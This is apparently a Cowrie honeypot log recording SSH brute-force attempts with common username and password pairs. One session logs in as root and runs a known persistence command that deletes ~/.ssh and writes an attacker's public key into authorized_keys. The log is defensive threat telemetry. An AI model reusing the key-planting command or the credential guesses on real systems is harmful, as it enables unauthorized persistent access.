{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:37.430921Z","src_ip":"93.71.118.99","session":"6f4ce4b59032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.539226770401001,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:38.439136Z","src_ip":"196.218.201.19","session":"ce356594b697","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"telegram","password":"12345678","message":"login attempt [telegram/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:38.579498Z","src_ip":"93.71.118.99","session":"6f4ce4b59032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:27:39.805557Z","src_ip":"93.71.118.99","session":"6f4ce4b59032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":54898,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a4c053b841","protocol":"ssh","message":"New connection: 159.223.57.48:54898 (159.203.135.109:22) [session: 84a4c053b841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:00.526159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:00.529974Z","src_ip":"159.223.57.48","session":"84a4c053b841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:00.775125Z","src_ip":"159.223.57.48","session":"84a4c053b841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wei","password":"wei","message":"login attempt [wei/wei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:01.788419Z","src_ip":"159.223.57.48","session":"84a4c053b841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:03.036440Z","src_ip":"159.223.57.48","session":"84a4c053b841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":44462,"dst_ip":"159.203.135.109","dst_port":22,"session":"33775f6cb244","protocol":"ssh","message":"New connection: 68.233.116.124:44462 (159.203.135.109:22) [session: 33775f6cb244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:11.926634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:11.931377Z","src_ip":"68.233.116.124","session":"33775f6cb244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:12.158944Z","src_ip":"68.233.116.124","session":"33775f6cb244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"123456","message":"login attempt [erp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:13.102083Z","src_ip":"68.233.116.124","session":"33775f6cb244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:14.332076Z","src_ip":"68.233.116.124","session":"33775f6cb244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":55586,"dst_ip":"159.203.135.109","dst_port":22,"session":"7edbe3111827","protocol":"ssh","message":"New connection: 49.49.239.64:55586 (159.203.135.109:22) [session: 7edbe3111827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:15.317170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:15.321244Z","src_ip":"49.49.239.64","session":"7edbe3111827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:15.587033Z","src_ip":"49.49.239.64","session":"7edbe3111827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wei","password":"wei","message":"login attempt [wei/wei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:16.682578Z","src_ip":"49.49.239.64","session":"7edbe3111827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:17.951512Z","src_ip":"49.49.239.64","session":"7edbe3111827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":60802,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec44fa7f9123","protocol":"ssh","message":"New connection: 68.183.236.1:60802 (159.203.135.109:22) [session: ec44fa7f9123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:18.105804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:18.109782Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:18.362711Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zxasqw12","message":"login attempt [root/zxasqw12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:19.407262Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":51652,"dst_ip":"10.17.0.5","dst_port":22,"session":"85b117bdcb39","protocol":"ssh","message":"New connection: 2.57.121.112:51652 (10.17.0.5:22) [session: 85b117bdcb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:19.824119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:19.828737Z","src_ip":"2.57.121.112","session":"85b117bdcb39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:19.947659Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:19.950052Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:19.952718Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:19.956318Z","src_ip":"2.57.121.112","session":"85b117bdcb39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:20.207099Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4326","message":"login attempt [admin/4326] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:20.398216Z","src_ip":"2.57.121.112","session":"85b117bdcb39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:20.785636Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:20.788323Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:21.043533Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:21.047005Z","src_ip":"68.183.236.1","session":"ec44fa7f9123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":60818,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f6d48c4a5c2","protocol":"ssh","message":"New connection: 68.183.236.1:60818 (159.203.135.109:22) [session: 6f6d48c4a5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:21.293363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:21.297459Z","src_ip":"68.183.236.1","session":"6f6d48c4a5c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"430799","message":"login attempt [admin/430799] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:21.499541Z","src_ip":"2.57.121.112","session":"85b117bdcb39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:21.549897Z","src_ip":"68.183.236.1","session":"6f6d48c4a5c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:22.594809Z","src_ip":"68.183.236.1","session":"6f6d48c4a5c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4211","message":"login attempt [admin/4211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:22.600926Z","src_ip":"2.57.121.112","session":"85b117bdcb39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3699","message":"login attempt [admin/3699] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:23.701789Z","src_ip":"2.57.121.112","session":"85b117bdcb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:23.850592Z","src_ip":"68.183.236.1","session":"6f6d48c4a5c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":57004,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c4ce2dec0b8","protocol":"ssh","message":"New connection: 68.183.236.1:57004 (159.203.135.109:22) [session: 0c4ce2dec0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:24.076321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:28:24.079513Z","src_ip":"68.183.236.1","session":"0c4ce2dec0b8","protocol":"ssh"}
